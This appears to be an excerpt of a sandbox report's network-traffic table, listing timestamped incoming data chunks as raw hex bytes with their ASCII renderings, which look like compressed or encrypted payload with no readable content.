2022-09-20 10:10:08 UTC 1950 IN Data Raw: 8b 11 9e 13 a1 46 26 1f b0 f2 98 3a b6 db 5b 1b 86 d6 46 c9 98 40 b5 09 e7 9d 35 72 c2 1f db 20 3a 60 06 43 
b4 59 86 76 fa 35 8b f0 fd 74 3a 4c 9e 4e 70 30 c2 a3 62 09 25 6c fa 2b e8 14 6a 88 2a 02 ca 8e e7 2e 16 4e 01 10 74 01 
c5 37 cf 22 c2 e3 fe 87 20 3c ef 4e 15 97 db 6c da dd ce 45 8a 84 2e e4 ba f9 38 e5 ec 5b 09 09 c7 37 3b 54 c1 d9 93 cd 
e5 60 37 85 dd 87 bb ba df 91 c8 78 54 61 f8 f1 26 71 c7 bd 51 17 7b 2b 7a 13 af 7f 0d ca bc 9d 30 b2 41 67 a9 76 d7 2a 
79 fe 92 31 f3 ac 68 84 86 81 f8 67 4c 2c 1f 51 2c 65 6f 15 47 3c a1 46 96 fc f8 0b a4 91 48 61 8f 26 d5 16 df 04 52 f9 61 
e3 6c 5d 04 ab ec 30 aa 6f e2 83 85 11 39 39 96 3f 01 4b 22 fc ac 7e 69 51 2e bd 95 16 e5 24 bb 7f d6 05 47 ad 67 27 4c 
03 50 6f 89 34 07 6f be 6c 71 b5 8b b3 84 1b 29 74 5e 
Data Ascii: F&:[F@5r :`CYv5t:LNp0b%l+j*.Nt7" <NlE.8[7;T`7xTa&qQ{+z0Agv*y1hgL,Q,eoG<FHa&Ral]0o99?K"~i
Q.$Gg'LPo4olq)t^

2022-09-20 10:10:08 UTC 1958 IN Data Raw: f8 92 54 ff 77 46 72 f9 4c 96 8f e9 ff 46 1e 55 3e 43 51 c3 73 e5 2f cb 67 dc 1e f4 7f 17 d8 fa 83 be 06 82 27 54 
f4 c1 96 d9 c7 08 02 85 62 97 0a d4 bd 9a a5 23 21 9e 9a 96 59 42 3c 15 5c 78 d8 bd 6c 43 78 0e 18 b4 99 c4 e1 64 9c 
d3 75 e1 11 50 61 06 40 40 56 f1 6c b7 d1 f3 3e 71 bf c8 86 4d 53 9a e9 0f ec e2 6d f9 63 68 44 a0 16 88 91 e8 e6 f0 b4 
3c 32 6f 46 68 9c 23 74 8c ee 0a 76 7b 4f 90 dc bd 65 3e 91 a4 0c f9 e0 a7 07 0e 71 9b 42 5c 3c 0d 83 4b f7 af 70 49 1f 
43 cb 22 4d e6 d7 cd 6a 8b 97 c7 cb a4 82 aa f4 68 72 b8 bf 85 85 85 de e7 f7 97 99 96 56 14 68 8b 5a da cc fb e2 5c 12 
6f 0a a5 5c 9f 55 36 81 53 d4 16 e3 c6 03 70 1f 31 41 6a 25 89 50 bd 13 85 d5 ba 83 60 34 5e a4 f3 39 c9 3c 47 97 43 24 
f4 74 f3 36 9a 75 a6 0a 0b 6f 7f 1b 6e 73 4e a7 e5 90 
Data Ascii: TwFrLFU>CQs/g'Tb#!YB<\xlCxduPa@@Vl>qMSmchD<2oFh#tv{Oe>qB\<KpIC"MjhrVhZ\o\U6Sp1Aj%P`4^9<G
C$t6uonsN

2022-09-20 10:10:08 UTC 1966 IN Data Raw: 4f a0 f1 2c 59 d4 66 11 be 3d b2 dd 8d 7f 82 e9 1e 7a 8a d0 ec 3d 7c 85 6a f2 37 00 69 53 b3 b8 7b b6 26 da 
ff bd ee 4e 65 42 1f 2d 51 38 74 14 9e ad 75 3c 7b 0d 9e c1 20 c5 70 5c d7 1c b1 8e eb ee 32 e2 43 e8 d3 8f 0e 83 bf 1b 
45 5c c2 42 e0 6a ca ed 9d 59 46 d8 53 8a f2 4e f8 62 f4 77 5c 84 15 f5 e9 31 22 d4 3f 50 d2 01 09 47 e4 3f aa 1c f9 e9 d3 
bf bc 5c 78 17 d5 7f 18 ad c0 45 71 d3 42 bb 12 e7 da fc ab 23 49 cd 85 6d e1 5b 49 9e d1 4f 9e ec 4f 8c 77 e1 93 b4 15 
bb 28 55 54 ef fb f7 81 e6 fa 57 38 d7 af 29 dc c4 e8 ff 41 7e 70 a5 97 1f 7e 7c f0 bf 92 1f 5c 99 e5 07 fd c0 0f c9 0f 57 69 
19 e4 07 27 5c 42 7e f8 cd 81 ff 6f f9 e1 d4 bd 52 7e 78 f3 cd 81 a9 fd 20 a5 7d 0e 6b 58 93 4a 21 fb aa 68 a3 d1 31 97 0b 
e7 0f ec df 0f ff 5c 48 56 b9 e4 1e 11 bf bc 
Data Ascii: O,Yf=z=|j7iS{&NeB-Q8tu<{ p\2CE\BjYFSNbw\1"?PG?\xEqB#Im[IOOw(UTW8)A~p~|\Wi'\B~oR~x }kXJ!h1\HV

2022-09-20 10:10:08 UTC 1973 IN Data Raw: 29 3f 91 de 15 07 e3 f0 60 18 b8 73 d7 1f 7f 86 c7 9f cf 89 89 df 94 70 d0 7e 3a 1d 0e 69 19 64 8d e5 ef e1 ce 
50 df 67 9c 4e 64 b4 6e 31 ec be fb f7 2a 5d 42 ff be e0 1f d1 21 a6 7d 55 c4 8c e0 ff a9 ff f6 b0 fe 1b 8d ec 4d d0 71 1b 
cd 1d 67 e4 91 48 da 6f 7a 29 f5 db 16 53 bf e5 9a fa 8d f2 d2 bd 03 7f b5 05 2d f8 21 8c da 25 3d 82 96 26 fd 7b 43 0a f6 
6b 33 c3 8e e9 58 0a 95 d3 82 b4 fe 5e de 41 bb 93 74 f2 3d 26 c6 9d 79 8a 18 77 6d 38 92 57 20 61 bf 14 4f 8b f6 4b 5a 
f8 fb f7 cb d3 0c fc 01 a3 5f b6 60 2c c5 82 36 68 82 42 2e d3 b7 45 f1 3a 3a 92 8c 27 13 b9 34 9e ca 9e e2 e3 49 8d b1 
d7 77 7c 10 57 ff 60 82 e6 da 19 3d 68 97 af bf b6 72 94 d0 f4 5a 75 ec fa fb eb b8 df 4b e2 7e 17 c7 fd ce 89 fb 7d 36 6e 
3d df 1b f7 fb cd d8 f5 9d 44 5b 39 9e 10 44 
Data Ascii: )?`sp~:idPgNdn1*]B!}UMqgHoz)S-!%=&{Ck3X^At=&ywm8W aOKZ_`,6hB.E::'4Iw|W`=hrZuK~}6n=D[9D

2022-09-20 10:10:08 UTC 1981 IN Data Raw: f8 8a bb 5b fc 7a 14 42 f4 38 7f 0a 6f 53 c2 e5 03 b8 91 61 e3 e3 41 db d6 b3 7b c7 de f9 19 3d 3b 7b b2 de 5f 
3a 63 4e cf c6 6d 7b b7 f7 28 c1 91 34 49 cf 62 f7 f5 ca 8b 3e f7 f5 4b df 72 05 e3 03 66 e3 6e 66 2d 0a 5b f5 34 f7 34 ba 
1b 76 90 a5 42 ff 5e af 5c d1 ce 75 b3 88 4c b8 e7 cc a3 16 3d 51 b1 ee ee 53 3a 69 4c 64 25 f9 06 3d b6 d1 c9 05 3d b6 
89 03 5f 15 09 fc c7 7a 4f 56 37 cf bb 63 ef f6 6e 65 7c 27 a8 4d dd 05 f6 2c fd b1 49 b5 cb fc 3d 3b 88 45 3e fe fc e3 8d 
7d c6 24 d5 93 3c 60 f0 e3 b8 f7 83 b9 59 c1 16 7b c9 07 64 3a 19 f7 21 6b df 7e eb ad b7 d4 b7 49 45 1e f8 a4 e5 f3 cc 
88 e3 21 7b 73 c9 06 65 4d f8 54 da 47 56 f8 0a 6f 50 3b d4 cd c1 de 01 f3 b3 82 87 87 36 6d 0e 1e ce 5f 8b e2 12 8a af 
9b 0c ef 99 7c 9d 7b 95 dd 8a e7 9f 40 cb ee 79 
Data Ascii: [zB8oSaA{=;{_:cNm{(4Ib>Krfnf-[44vB^\uL=QS:iLd%==_zOV7cne|'M,I=;E>}$<`Y{d:!k~IE!{seMTGVoP;6m_|{@y

2022-09-20 10:10:08 UTC 1989 IN Data Raw: 43 a6 47 2d 64 7a 7f 28 6e d2 dd 42 f7 49 3b c5 77 12 fd 1e 1f 2a ea 49 4f b0 20 0a 3c 99 4f 40 7b 9a 45 94 6d 
b2 3d 20 2e 9c 2a b5 e9 62 03 14 fb 57 11 9c 3f 38 e5 8d b8 47 58 68 4f be 47 f8 83 b8 4c 72 4b 16 42 c9 8d 22 da 8e db 
bc 9d 73 87 e9 d3 13 0a 68 95 f7 2b 25 04 6f 78 65 4d 76 b0 cd 5e 39 30 80 f8 cd 02 79 2e cd 27 a3 0e c1 26 b1 dc 84 be 
3a 8a 83 ec 62 f6 32 29 28 39 10 6e 0e 28 64 3a aa eb 4b 3e f7 1e 52 22 4d 76 71 dc c8 86 e6 8a d2 91 df a3 5d e6 c8 cc 
54 37 e1 e7 c5 f3 78 e7 5b 2c 9c 3b b4 d7 47 c0 54 2e 59 4c 80 89 a8 f0 7c 7b af ca 67 41 a7 96 29 4f 84 85 f2 ea e6 ec 
61 36 ae 0d dd 74 27 41 44 d6 75 84 43 44 32 09 98 46 52 77 f9 15 d4 86 2b 3a 8f c6 a0 64 e9 5e 63 ee bb 96 0d d7 34 
bd f3 d0 0a 79 77 60 bc 57 3b b1 0f d8 bf b4 93 b9 65 ff 
Data Ascii: CG-dz(nBI;w*IO <O@{Em= .*bW?8GXhOGLrKB"sh+%oxeMv^90y.'&:b2)(9n(d:K>R"Mvq]T7x[,;GT.YL|{gA
)Oa6t'ADuCD2FRw+:d^c4yw`W;e

Timestamp
kBytes
transferred

Direction Data
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2022-09-20 10:10:08 UTC 1997 IN Data Raw: b8 6d 6c dd 2d 7c 9c af b0 de e8 6e 3d de 45 9a 50 8d 06 3b 1d d3 e2 02 ae e9 7c 41 81 03 8c 0d 0f 20 f9 23 
a7 04 6b 3f 21 d1 2f 87 f9 b4 40 2c d2 7e 45 f9 5f 7f 13 54 14 74 5e 71 5e bc ca e3 8c 9d 28 29 4c a6 d7 bd ff ce fd 90 20 
2f 3e bf 87 44 f2 d4 0e 63 c3 1e 0a 23 7d 0d a4 8b ef 78 3f 6a c4 7e 60 18 4e 36 8c 5d 7c b8 ab e5 8a 4c c2 9f 18 c1 55 
8c a1 cf b8 30 07 4f f0 3a cb 64 af e8 bb 7d 0d 6f 5f 7f 91 ed d7 f3 f6 8b 4e 90 01 ac 0e 25 43 3a 97 1f ea ef c4 90 f0 d1 
74 78 9d ea 20 a7 c9 5d e0 82 a0 0b 18 bb b9 86 3e 9b 22 d5 5b fb 31 0c 55 44 50 fb 2a 09 55 56 ef e3 81 4a 6d 52 3d 22 
96 6f 89 d8 fd 1d dc 75 e7 a8 65 6b 4a 09 42 79 95 33 63 eb 71 d2 2b 62 b5 56 3a 15 36 66 70 59 46 a8 97 9e 9d d7 b5 
47 47 1e 47 99 34 0e 87 35 8e dd ff 8f f9 3f 25 cf ff 
Data Ascii: ml-|n=EP;|A #k?!/@,~E_Tt^q^()L />Dc#}x?j~`N6]|LU0O:d}o_N%C:tx ]>"[1UDP*UVJmR="ouekJBy3cq
+bV:6fpYFGGG45?%

2022-09-20 10:10:08 UTC 2005 IN Data Raw: f7 78 49 9a 1e ce f0 fe c3 01 fb 8c 9c d8 27 b9 45 0c 03 76 cf 0a 09 47 65 6a 7d 58 3d 18 21 91 0f e0 f9 56 54 
14 f6 ca a8 cc 47 25 45 bc f2 a4 77 05 c6 69 24 e5 6d c8 33 bc 42 9f 33 93 b6 87 f0 24 81 27 2c f7 ed b8 64 69 27 71 c9 
a2 de 89 4b 96 f3 08 2e 59 c8 bb 70 c9 b2 4b e1 92 c5 bb 1b 97 2c db d1 15 d9 a6 ab 01 e9 13 75 94 fb e4 a4 ec 16 7a 
e8 bd b7 21 b0 be 91 5a df 8c b6 b6 78 f9 6b 48 4f 76 1e 83 5e d2 e8 08 2c 03 28 7b 40 a0 36 c5 27 04 6a 4a db 85 b4 61 
a4 a5 90 96 40 da 4e a4 6d 43 da 08 d2 86 90 b6 1d 69 63 48 4b 22 6d 1f d2 86 91 b6 c7 93 83 29 21 62 a7 b4 6d 48 db 
8d b4 21 a4 8d 7a b2 d2 30 9f a8 24 44 44 94 96 f2 64 25 68 e4 92 16 18 64 3b 30 fc 3d 9f a2 e7 57 ad f8 c6 a5 49 36 a0 
ab 56 fe c4 25 a8 9a e4 a7 8f 55 2b 7f b3 5d c5 91 81 57 ff 
Data Ascii: xI'EvGej}X=!VTG%Ewi$m3B3$',di'qK.YpK,uz!ZxkHOv^,({@6'jJa@NmCicHK"m)!bmH!z0$DDd%hd;0=WI6V
%U+]W

2022-09-20 10:10:08 UTC 2012 IN Data Raw: bd e1 9c 5a f6 62 5b 4e 6d 39 09 d2 ce b0 b7 97 e7 4d 67 7b 78 0a 3f 28 f2 19 77 20 b5 f3 12 a9 9d 67 b7 5d 
10 61 60 41 84 81 0e e1 ab 1d c2 57 a3 2c 54 54 06 16 77 1d e7 ad bb 8e e9 cc 5a 06 76 41 22 b5 b1 72 42 ae 93 81 8d 
d9 c3 40 fe 99 b5 42 cc ae f2 6c 99 b5 2c 72 82 45 ce 45 6a 79 d7 fc 26 48 ed a2 8d d4 2e 32 ac 4b 02 d6 25 01 eb 49 21 
ef 49 01 6b 0f cb d8 23 c3 8a fb 60 8b 39 f6 c1 fa 18 d6 25 f6 d7 3e 29 ba f6 33 ac fd f6 10 90 47 66 ad 08 08 03 e5 b9 49 
ed 20 7b e9 a0 25 38 a4 fe 34 da db 46 6a 97 6d a4 76 99 61 5d 11 b0 ae 08 58 87 04 ac 43 02 d6 61 86 75 58 86 15 df bf 
5b 2e 92 de bf 13 39 b5 0c eb 0a c3 7a 8a 61 4d e7 d4 32 ac 23 72 18 c8 2b a7 56 30 80 51 ae 54 ca a9 65 06 30 26 b0 
df 96 d4 76 88 3f cf 73 33 a4 36 69 e3 03 49 86 76 4d 40 bb 
Data Ascii: Zb[Nm9Mg{x?(w g]a`AW,TTwZvA"rB@Bl,rEEjy&H.2K%I!Ik#`9%>)3GfI {%84Fjmva]XCauX[.9zaM2#r+V0Q
Te0&v?s36iIvM@

2022-09-20 10:10:08 UTC 2020 IN Data Raw: 17 1e 7e 80 0e 15 e8 3b ff 11 f5 02 2b 26 83 8f f3 8b 05 89 13 b4 33 1f d4 e1 32 dc f9 f7 20 4b f7 53 d1 62 fd 
60 00 0c 5d ac 3f e6 ff e1 ed a8 13 0c 41 a6 5e 77 e2 1b 38 2e 68 03 fb d5 ae 72 27 b4 15 fd 1b 30 95 87 86 61 ba aa e0 
55 ba 89 7a e7 67 ef c5 c8 e6 ee 5e 75 d0 06 4c 75 f7 4f a3 21 18 46 8f 8f a1 51 ff c8 69 35 ea 67 4d a3 76 65 18 75 79 
b2 0c f1 aa 84 96 02 f0 1b e1 dd 28 77 f7 d7 90 ca 4e d7 eb c9 8c 78 65 0a 76 f0 31 52 9e de db a0 43 0a 0e 7f fe 18 2b 
00 87 41 3a a4 e0 f0 ab ff 0b e6 0e 6a a1 57 6c 01 f1 ca ff a8 70 5c ea e5 f1 af 36 fd 36 08 c8 45 2e 8f 38 8e 5d 25 82 14 
ec 9e d4 7f 02 53 03 70 d5 d5 18 c4 ac 3e e3 60 c0 78 4c 35 ee 43 2c ba 9f 72 27 f0 85 0b e3 88 1f e8 06 cd 1b c1 b7 bc 
3a 26 df e1 7b 5a 8d f4 46 04 0a 7b fd 3c 1a c1 83 
Data Ascii: ~;+&32 KSb`]?A^w8.hr'0aUzg^uLuO!FQi5gMveuy(wNxev1RC+A:jWlp\66E.8]%Sp>`xL5C,r':&{ZF{<

2022-09-20 10:10:08 UTC 2028 IN Data Raw: cf b0 11 22 0f 91 af cc 7c 92 f0 69 64 28 2c e8 8a 21 61 f2 c2 40 27 e2 85 f3 62 bc 30 43 63 f8 cf 5a 86 8b 41 
bc f0 f9 22 96 e0 22 a0 83 fd eb 36 fa e5 dd 6d f4 cb 99 55 ac 5f ea 73 b8 af 13 b9 af de 9d ac ad 0a 3b 9b 98 ca 99 e6 54 
e6 29 3c 95 05 62 f0 ad 28 12 e2 26 96 17 37 b1 d2 d0 b6 56 f4 df 81 71 94 09 88 8d 24 88 15 80 9a e4 75 98 a7 1f a7 91 
36 36 f5 2c d2 02 8f d2 41 ae 87 7d 67 4d ad 74 eb 37 ac cb 61 5a 54 ac 71 d5 30 26 9d 7e bc bd cb 15 5e 50 8a 69 3f db 
3a 4c 20 52 22 1d 1e 96 02 1b 99 29 f4 68 3a 61 b5 38 9a 9b 51 44 d2 04 5f 3f 94 40 3a 08 1e 6c e4 92 81 4b 9c 37 67 23 
86 e5 7f 5c 41 fb 50 45 9c 37 9b 2e c1 25 1f 4f 34 f9 f9 36 c1 cf ff 99 40 46 c8 fe c0 c4 2a 3f 83 c6 4a 59 0e 66 ea 53 ed 
78 a3 63 56 22 ab 3a f4 0a fd fd ca f9 3a 80 55 
Data Ascii: "|id(,!a@'b0CcZA""6mU_s;T)<b(&7Vq$u66,A}gMt7aZTq0&~^Pi?:L R")h:a8QD_?@:lK7g#\APE7.%O46@F*?
JYfSxcV"::U

2022-09-20 10:10:08 UTC 2036 IN Data Raw: f4 b5 ca be 4d 11 df 8f 36 df 76 c5 b7 23 41 ae 83 86 0d 79 f3 a8 31 6b 0d 79 f5 d8 d1 d0 85 d1 4b 6e b0 e4 23 
47 03 55 36 88 25 3c a0 03 d0 1e 1c e8 50 bc 67 d2 35 aa 04 6d 4d f0 c7 0e ba 32 1b 91 04 ef eb ca 9b 7c 98 53 d7 dc c7 
34 35 60 62 2e fd 4a 1b 79 23 42 e5 64 72 18 5d a5 ce dd 89 2c 02 85 15 1d d1 52 16 6e a6 68 74 18 b5 ea f3 0e 58 cd 
14 b7 a1 db 5f d5 6a 41 0d 6b 5a 87 b6 52 ca d5 92 04 82 28 68 60 5c 12 a7 56 e7 5e c9 30 d8 e4 fb d1 e1 5e a9 d5 07 f7 
da b4 c3 4d 3f 68 87 dc b5 08 86 d5 ee 06 7c a7 68 ad f0 ee b0 7b 05 02 e2 1b 77 23 be 4b c0 77 c1 48 2f f7 8a de ad 3e 
bc 4f e9 db 1a 71 37 fa b6 db 00 f0 76 79 8d 6f 07 da 94 7e 4d 90 d7 37 6d 6a fa 06 18 22 42 e7 88 ef 97 d4 44 d8 63 c8 
75 7d ca 5d ce 80 d2 0f e9 b4 7f 05 66 ca 42 d9 df 87 42 
Data Ascii: M6v#Ay1kyKn#GU6%<Pg5mM2|S45`b.Jy#Bdr],RnhtX_jAkZR(h`\V^0^M?h|h{w#KwH/>Oq7vyo~M7mj"BDcu}]
fBB

2022-09-20 10:10:08 UTC 2044 IN Data Raw: 81 69 d6 89 50 87 af 03 ab 0e 9d 10 b5 87 98 f3 80 25 8b 27 25 cf b1 a4 54 f3 1b 19 d7 f2 b4 4d e6 4c 80 a9 
2b 85 b8 da 01 a7 9f a5 c9 7c 74 32 11 36 a5 57 de 06 92 7a 3e 2a 97 fe 90 76 32 fb 91 dc 8f 87 af 00 6e e8 5c 91 07 bd 
92 0f 65 48 93 ac a4 71 63 66 2f 11 5c 51 31 e6 ec 87 e9 65 c4 ec 4e e9 f5 e9 2b 04 3e 94 01 b7 c3 0d 57 6c 8e 65 96 39 
22 f8 60 0c df 1e 80 fa bb da c6 5f cf a5 ae 70 6b 31 56 d1 27 2b 98 24 2f 8c db e6 83 6a d5 8f b4 07 c0 f0 12 78 2a 4e 09 
dd 8c 2b 23 91 fe 95 ae 52 b5 ea 59 54 ab 2a 5c a5 39 15 ae 91 6a 55 35 ad 5f 7a a3 37 09 76 11 6a d5 5a 14 06 47 60 
d5 d1 be 03 38 a0 ce fd 01 41 58 2c fb 0e 25 a8 0f ad 97 58 54 f8 77 0a 93 e5 63 1f c1 a0 8a 23 e2 12 03 8a e0 25 e4 eb 
5a bb 7e 87 e0 83 69 c8 ea fb 97 a0 f9 01 e9 74 00 a2 cd 
Data Ascii: iP%'%TML+|t26Wz>*v2n\eHqcf/\Q1eN+>Wle9"`_pk1V'+$/jx*N+#RYT*\9jU5_z7vjZG`8AX,%XTwc#%Z~it

2022-09-20 10:10:08 UTC 2051 IN Data Raw: 24 c7 eb 10 8b bd 06 a7 c5 0b 5d 08 0b bd 93 14 73 e2 8d 94 83 70 c7 da 9d 01 e7 3a 60 98 15 7d 23 81 81 
49 74 5e a3 ed 55 f3 6b b5 0d e1 ce d5 da a1 f4 cd be 43 11 4f 91 fa e9 09 81 8a 37 71 77 08 a0 0b 54 dc d2 e0 6b 4e f2 
6e 8f d2 3f f4 ec ce 22 6d 7a 2c ed 54 e0 f9 9a 7e f4 3c 44 3b e4 ae 71 ef a6 66 bc 1f c2 07 74 1d 31 ca 9e e2 98 c2 20 87 
b5 4c 58 d6 0b 49 1f 28 b4 87 33 84 de b8 5c 9e 75 94 d7 67 b3 35 3e 9d fb 20 d5 c2 86 f3 dd 14 b7 ac b9 6d fc b4 64 d2 
57 ea e4 d0 b3 ad bc 31 c0 c1 2c 9a c5 08 92 00 08 12 fe d8 12 3f 0f cf 6b 66 c0 3b 91 c7 da 78 7d a6 19 bf 6c 31 ae f5 d3
6d e8 db 8c 97 4f e9 b5 61 65 b5 2d b9 e7 7a 3b a9 8b 07 c9 81 a1 72 6e a6 f7 04 75 f1 40 d9 b7 ed 87 dc 91 9e 7c 3a 11 
c5 f6 29 70 b5 a7 68 66 ff 73 c9 16 ea e9 1c 4b c0 a0 
Data Ascii: $]sp:`}#It^UkCO7qwTkNn?"mz,T~<D;qft1 LXI(3\ug5> mdW1,?kf;x}l1mOae-z;rnu@|:)phfsK

2022-09-20 10:10:08 UTC 2059 IN Data Raw: bf b3 ef e6 49 7a 82 7e ad f2 aa 24 cd 94 d4 2a 8c 1f 81 21 07 64 4f 9f a6 5a b4 f1 78 7a aa 0e d8 bb a8 2b 6a 
fe 39 41 bd 24 bf 06 0f 05 14 b5 ab 44 1b a7 61 43 87 a3 eb 3b dd 99 31 f6 62 04 c8 3b 9a 75 f4 b1 2a 77 b9 8c 1f e8 b9 
d1 fc de 0f de f7 c3 f7 f5 f8 7e 6f 3d 4a 5c 75 ef 0a f5 8e 06 75 4a 63 ea 58 75 ca ba d4 31 f0 3c 4a dd bb 51 9d 21 8d 56 
67 94 da d4 7b da f0 17 ec 0f 2d 78 18 0a ae dc 95 65 7c 7c 94 9c 03 d0 7a 4c 67 31 18 c4 cb f8 87 88 c3 5f 46 3b 2d 2a 
08 7d 67 f6 c3 6f fa 51 32 e3 a7 e9 29 78 d4 86 06 37 1b aa 48 ee 06 f7 6a f7 26 6d b4 e4 3e ac 79 ed ee 46 0c 7a b3 7f 
ac bb 61 8c 36 cc 36 4a 2b 50 46 d7 15 15 a6 5d 30 e6 b6 f4 d4 c1 de 0a cf 2d 93 2b 6e f9 cb 0d 9e 5b ee b8 3d 75 c2 1d 
77 a5 4e cd be 28 23 75 d0 b5 d7 95 96 0d 29 1a 30 
Data Ascii: Iz~$*!dOZxz+j9A$DaC;1b;u*w~o=J\uuJcXu1<JQ!Vg{-xe||zLg1_F;-*}goQ2)x7Hj&m>yFza66J+PF]0-+n[
=uwN(#u)0

Timestamp
kBytes
transferred

Direction Data
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2022-09-20 10:10:08 UTC 2067 IN Data Raw: 71 6f 00 4a 32 89 a8 15 d7 df 84 2c a1 81 b6 1a 51 8f 5a 4c 34 3b cb eb 9b 1b 25 dc 26 13 75 80 fe f6 21 e9 08 
1a e9 cc 55 1d 30 59 82 97 c9 25 fa 32 e4 90 55 fc 1e cf 2c f6 45 99 45 dc 70 df 8f 1b 6e 16 a2 6b 66 94 3d 1d 14 c4 da 2f 
eb 18 34 e0 7e fa 46 19 22 b0 43 f7 9e f4 fd ff 12 cf 89 60 57 b5 c1 73 e8 30 35 ca 84 cd c1 86 70 46 c7 0e f6 cd b8 c1 a6 
20 8d 24 cb fb a3 00 0a 45 09 24 9e ac c3 ea e2 30 8e 23 c6 9a dc 87 f5 a9 0e 14 36 82 27 ec 46 ee 66 22 c3 31 03 ce e5 
01 33 e6 23 47 b0 a1 80 8b 72 84 23 c4 11 8e 08 76 a0 6d fc 97 83 56 a0 eb 6c 79 a3 d6 2c 88 ba a5 0d a5 59 88 da a4 
34 22 6a 94 ee ee 56 ad 54 d1 32 a3 f4 ec db 55 0e af 2b 41 27 9b 0c 64 ed 21 c5 a0 ca 45 5e 2a 15 b0 0b e0 ac a3 1e 
57 89 9e a9 4f c5 f0 6a 18 13 77 aa fa 55 a0 b4 19 8a 
Data Ascii: qoJ2,QZL4;%&u!U0Y%2U,EEpnkf=/4~F"C`Ws05pF $E$0#6'Ff"13#Gr#vmVly,Y4"jVT2U+A'd!E^*WOjwU

2022-09-20 10:10:08 UTC 2075 IN Data Raw: 70 7e 1e 6a c0 c9 04 9c 99 4d ff 5d f9 85 47 fd ef ca 5f 99 1a 5b de dc fe f4 41 3a 3d 38 e2 4c b0 6a e0 a1 df f7 
c4 bc 4f 77 46 bf 37 39 e3 d0 93 47 c9 2a e7 ff 9a 9e 0c e7 d1 21 ff 63 7a 70 f9 33 fe e7 fd c1 e5 07 f6 ea 0f 73 fb db a8 
95 58 1f 78 db b1 22 26 fe 06 a1 a1 ef 1e 31 d8 a2 88 d0 3e 25 c8 4b 9f fa 89 4f 99 fc 29 ef cb 1d 19 24 26 72 be fc 16 7f 
2a 78 9d c8 96 84 5a be 65 52 d3 1c 5c 6b 43 ba 38 d5 c9 37 4f 12 8d b5 1d 47 f0 f7 7a 38 96 03 e8 8e a3 07 5b f6 6f e0 
eb 6f 61 3e 6c 71 d6 07 e8 79 ff 86 74 0b f4 bd 91 d0 fd 36 e4 e3 b9 9e 63 26 1d b0 56 57 34 31 02 15 a9 b1 55 56 cb 2a 
6f b3 44 57 39 9b ab f4 dd 80 ea 6e a6 ea 94 96 fd 1b f8 8e f7 e3 44 35 a8 d8 19 18 00 0f f4 ef f3 9d f5 8f 8a 7a 7c e7 63 
1d 77 94 55 2c ee 9b 33 84 79 e9 71 39 11 
Data Ascii: p~jM]G_[A:=8LjOwF79G*!czp3sXx"&1>%KO)$&r*xZeR\kC87OGz8[ooa>lqyt6c&VW41UV*oDW9nD5z|cwU,3y
q9

2022-09-20 10:10:08 UTC 2083 IN Data Raw: c6 bf de e0 73 5b 23 f5 f1 a2 cb 23 1f c9 9f 72 f3 79 1c 5e 5a 2e bb d4 4c df d4 84 08 7d 71 51 05 d1 f7 f3 18 fa 
1e 91 20 e9 2b dc e3 b0 fa ac 71 f8 5b 6d 46 ff c1 d5 08 78 aa 03 88 e2 c9 fb f2 1d e9 ce 00 c6 b5 a8 ef 38 59 df 30 aa 6f 
61 ba a8 eb 96 54 aa 67 8f 5e 0f 8b 76 ae c1 07 0f 15 d7 dd 31 6d 7e 58 b6 f9 26 53 9b b5 d5 d4 e6 ad c6 79 31 43 4a b6 
5b c5 61 99 36 93 be 25 a6 8e 2f 22 fa 13 5a 60 a7 16 10 e2 81 f1 44 35 ef d6 d0 9b 62 5d 61 b3 da 84 df cc 84 4f bb c3 
98 9e 9c f5 97 5a e3 07 5f c0 ac 8b 79 e8 9d cd bc c5 cf b7 6b 8a c9 2f 53 db be 8a bf f5 0a 87 79 bb 2c 73 e7 66 3e e2 93 
cb de 36 85 6c 31 b7 8b dd 84 aa 21 24 7b 06 f8 a7 3b be 0e be ad cb 91 c6 85 b6 e0 03 a6 fd 74 c6 df e6 6f b5 07 6f 67 
7f 4c bd 47 ec c1 b9 d1 fe a3 d2 cf a2 fb 4d 
Data Ascii: s[##ry^Z.L}qQ +q[mFx8Y0oaTg^v1m~X&Sy1CJ[a6%/"Z`D5b]aOZ_yk/Sy,sf>6l1!${;toogLGM

2022-09-20 10:10:08 UTC 2091 IN Data Raw: e1 b5 45 71 28 6b 99 2b 7d c2 c4 3c 63 5c cb 2e 57 43 99 6c b7 2c 12 cd 2e e2 56 7f 95 c2 58 dc 35 10 ad 9e 
8c fb f2 1a 45 b0 e1 42 8b 1c 51 8e df 04 5d 66 89 25 38 d2 6c d3 6f 1e cb eb a4 b6 53 06 59 82 bf 76 1b fb 8e 42 4a 5f 
71 84 94 d2 2d 72 1f 57 04 8c 83 ef 0f c7 7b 83 28 cb 55 36 40 fa 5e 75 aa f0 26 18 a7 eb 55 f4 6d d6 a9 f0 b3 19 b5 9e 34
11 79 cc e1 8b 9b 84 31 85 cf 45 8c b7 8b 28 8f 38 76 c1 a9 0b 8e 15 41 eb 55 ab 61 6a 51 7d bc 6a cf e5 1b 51 d4 24 3e 
f2 91 1b d7 f4 e2 f6 68 6f ce 11 a2 d7 23 af 0e d6 b7 60 5b 63 37 74 32 3d 9a 53 e6 3d 5d 6c 35 78 f4 fc 87 dc c8 a1 72 9f 
89 16 2c fb 95 3a 53 97 79 b4 98 70 06 1c 5d c2 60 f1 fd d7 82 ca dd 9d d4 0f 1f 60 32 25 96 20 28 13 64 f7 19 0b dc 11 
1b f9 e4 c9 b2 9b 7b 8c 10 cc 13 e2 2e 72 09 e8 d5 
Data Ascii: Eq(k+}<c\.WCl,.VX5EBQ]f%8loSYvBJ_q-rW{(U6@^u&Um4y1E(8vAUajQ}jQ$>ho#`[c7t2=S=]l5xr,:Syp]``2% 
(d{.r

2022-09-20 10:10:08 UTC 2098 IN Data Raw: b2 55 7e 88 a7 1a 18 b2 e3 e7 b7 bd cc 31 0a b9 4d 30 a9 3a e9 8e 39 18 a0 61 0d 48 05 70 80 b6 2d 2a 1f 66 
68 29 1f 63 80 63 f4 32 96 6b 6e 2e da 01 8d e3 e7 c9 55 11 12 a3 88 d5 e1 d0 4d f3 25 17 99 69 b3 86 67 24 7b f5 b6 49 
64 19 e7 90 7f 42 c7 1c 07 a9 84 16 45 ee 7f cd 09 06 f9 a8 90 1f c8 26 79 45 1b b9 81 e0 7c 65 c3 5c 3a 77 23 f6 6e 90 
8f 3b 2b 70 42 bd 0b 8d c8 c6 60 f9 d8 88 39 24 96 b6 fa 60 e2 cb 30 1e cb 2e 58 18 3b d1 af 85 9d 1d 61 e2 bf 45 d8 27 
